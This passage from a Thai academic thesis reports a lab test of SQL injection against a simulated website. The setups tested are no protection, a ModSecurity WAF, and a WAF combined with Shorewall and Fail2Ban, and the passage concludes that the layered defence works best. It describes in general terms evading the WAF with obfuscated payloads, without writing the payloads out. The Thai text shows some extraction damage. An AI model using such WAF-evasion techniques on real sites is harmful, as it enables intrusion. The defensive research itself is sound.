สามารถป้องกันการใช้ค าสั่งที่เป็นรูปแบบอย่าง UNION SELECT ได้ ภาพท่ี 4.10  แสดงการป้องกันค าสั่ง ORDER BY 
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ภาพท่ี 4.11 แสดงการป้องกันค าสั่ง UNION SELECT 
 
 จากนั้นจึงได้ท าการทดลองปิด signature บางจุดในการป้องกันลงเนื่องจากในระบบ
ให้บริการจริงนั้นการเปิด signature เป็นจ านวนมากนั้นเป็นสาเหตุหลักที่ท าให้เว็บแอพพลิเคชั่นที่มี
อยู่เป็นจ านวนมาก ภายในเคร่ืองเซิร์ฟเวอร์นั้น ไม่สามารถท างานได้เพราะ signature บางจุดเองนั้น
ก็มองสิ่งที่ถูกต้องส าหรับการใช้งานเป็นสิ่งผิดปกติได้เช่นกัน 
 ซึ่งการทดสอบในล าดับถัดมานั้นได้ท าการโจมตี SQL Injection ด้วย Payload ที่ได้ท า
การ Optimization และ Obfuscation เพื่อหลบหลีกการตรวจจับและป้องกันของโปรแกรม Mod 
Security ซึ่งก็พบว่าสามารถที่จะโจมตีได้ส าเร็จ หากว่าพบวิธีการ Optimization และ Obfuscation ที่
ระบบนั้นๆ ละเลยหรือปล่อยผ่านไป แต่ส าหรับการเจาะระบบเว็บไซต์ที่จ าลองนี้นั้น ไม่สามารถ 
ใช้งานเทคนิค SQL Injection (Local Variable Method via HTTP Header) ได้ เนื่องจากไม่พบ
ข้อผิดพลาดในส่วนนี้ ตลอดจนความสามารถของโปรแกรม Mod Security นั้นสามารถตรวจจับ
รวมถึงป้องกันในส่วนของ HTTP Header ได้ ซึ่งในส่วนนี้ค่าคอนฟิกมาตรฐานมีการเปิดการท างาน
เอาไว้อยู่แล้ว 
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ภาพท่ี 4.12  แสดงการโจมตีที่ Bypass WAF 

 จากการทดลองด้านบนนั้นผู้วิจัยพบว่าแม้ระบบ Web Application Firewall จะสามารถ
ป้องกันการคุกคามจากการ SQL Injection ได้นั้น แต่การปฏิเสธการโจมตีโดยไม่ตอบสนองค่า
ข้อมูล แต่ตอบสนองในรูปแบบ Message หรือ HTTP Status ต่างๆ นั้นยังเป็นการเปิดโอกาสให้
ผู้วิจัยได้ทดลองเจาะระบบด้วย SQL Injection ด้วยการพยายามปรับเปลี่ยนรูปแบบการคุกคามไป
เร่ือยๆ จนประสบความส าเร็จ 
 ซึ่งการแก้ไขปัญหาช่องโหว่ดังกล่าวนี้ ล าดับถัดมานั้นผู้วิจัยได้เลือกท าการแก้ไข
โครงสร้างที่ให้บริการพื้นฐาน (Infrastructure)  ของเคร่ืองเซิร์ฟเวอร์ด้วยการติดตั้งโปรแกรมที่มีชื่อ
ว่า Shorewall ซึ่งโปรแกรมนี้มีหน้าที่ช่วยบริหารจัดการโปรแกรม Stateful Firewall อย่าง iptables 
ที่มีอยู่บนระบบปฏิบัติการแบบ Linux และติดตั้งโปรแกรมที่มีชื่อว่า Fail2Ban ซึ่งผู้วิจัยได้ท าการ
ออกแบบระบบให้มีการป้องกันเว็บเซิร์ฟเวอร์ให้ท างานร่วมกันกับ Stateful Firewall โดยให้
โปรแกรม Fail2Ban ท าหน้าที่เป็น Trigger ในการตรวจจับความถี่ของการคุกคามที่ไม่ประสบ
ความส าเร็จ และบอกให้ Stateful Firewall Drop Packet ทิ้ง 
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ภาพท่ี 4.13  แสดงโครงสร้างที่มี Web Application Firewall และ Stateful Firewall 
 
 จากนั้นจึงได้ท าการทดลองเจาะระบบอีกคร้ัง ซึ่งผลปรากฏว่า Web Application 
Firewall นั้นตรวจพบความพยายามที่จะโจมตีด้วย SQL Injection เข้ามานั้น โปรแกรม Fail2Ban 
ก็ท าการสร้าง Trigger ไปบอกโปรแกรม Shorewall เพื่อที่จะให้สร้าง rule ส าหรับระบุ IP ที่เป็น 
Blacklist บน Stateful Firewall 

 

 
 
ภาพท่ี 4.14  แสดงการตรวจจับการโจมตี SQL Injection 

 และเมื่อ Stateful Firewall ได้ท าการระบุ IP ที่เป็น Blacklist นั้นๆ ไว้แล้วก็จะส่งผลให้
การพยายามคุกคามไม่เป็นผลส าเร็จ ซึ่งสามารถที่จะก าหนดเวลาในการที่จะท าการ Ban IP ที่คุกคาม
ได้นั้นว่าจะให้ใช้เวลาน้อยหรือมากเท่าใด 
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ภาพท่ี 4.15 แสดงการท างานของ Stateful Firewall 
 

4.4  ผลการทดลองเปรียบเทียบประสิทธิภาพ 
 

 จากการทดลองเจาะระบบและหาแนวทางป้องกันนั้น สามารถสรุปออกมาได้ตาม
ตาราง 
 

ตารางท่ี 4.1 ตารางเปรียบเทียบผลส าเร็จการโจมตี SQL Injection 
 

ตารางเปรียบเทียบการโจมตี SQL Injection แล้วได้ผลส าเร็จ 

ล าดับการทดสอบ 
เจาะระบบ 

ประสิทธิภาพ 
ในการป้องกันการโจมตี 

ความง่าย-ยาก 
ในขั้นตอน 

การเจาะระบบ 

เวลาที่ใช้ 
การเจาะระบบ 

ไม่มีระบบป้องกัน ต่ ามาก ง่าย น้อย 
มี Web Application 
Firewall 

ปานกลาง ปานกลาง ปานกลาง 

มี Web Application 
Firewall และ Stateful 
Firewall 

สูง ยาก มาก 

 
 



บทที่ 5 
สรุปผลการศึกษา 

 
5.1  สรุปผลการศึกษา 
 จากผลการศึกษาพบวาการเจาะระบบดวยเทคนิค SQL Injection นั้น สามารถโจมตี
ระบบเว็บแอพพลิเคช่ันท่ีมีชองโหวประเภทนี้ และในสวนของผลการศึกษานี้นั้นพอสรุปได
ดังตอไปนี้ คือ ในการไมมีระบบปองกันใดๆ เลยนั้นถือเปนเร่ืองท่ีไมควรท่ีจะกระทําเปนอยางยิ่ง
และยังจะเห็นไดวามีความงายและใชเวลานอยเมื่อมีการโจมตีเขามาในระบบ และลําดับถัดมานั้น
หากมี Web Application Firewall เพียงอยางเดียวนั้น ระบบสามารถตองการโจมตีไดในระดับ 
ปานกลางก็จริง แตการที่ระบบปองกันไมพยายามท่ีจะประวิงเวลาหรือหยุดความพยายาม 
อยางตอเนื่องในการคุกคามระบบนั้น ผลกระทบที่อาจจะกับเกิดกับระบบท่ีใหบริการอยูนั้นอาจจะ
สงผลใหระบบไมสามารถใหบริการได และลําดับสุดทายการทําให Stateful Firewall และ Web 
Application Firewall สามารถท่ีจะทํางานรวมกันไดนั้น มีประสิทธิภาพดีท่ีสุด เนื่องจากสามารถ
หยุดความพยายามอยางตอเนื่องในการคุกคามระบบไดและยังสามารถประวิงเวลาในความพยายาม
ของการเจาะระบบไดสําเร็จมากท่ีสุด 
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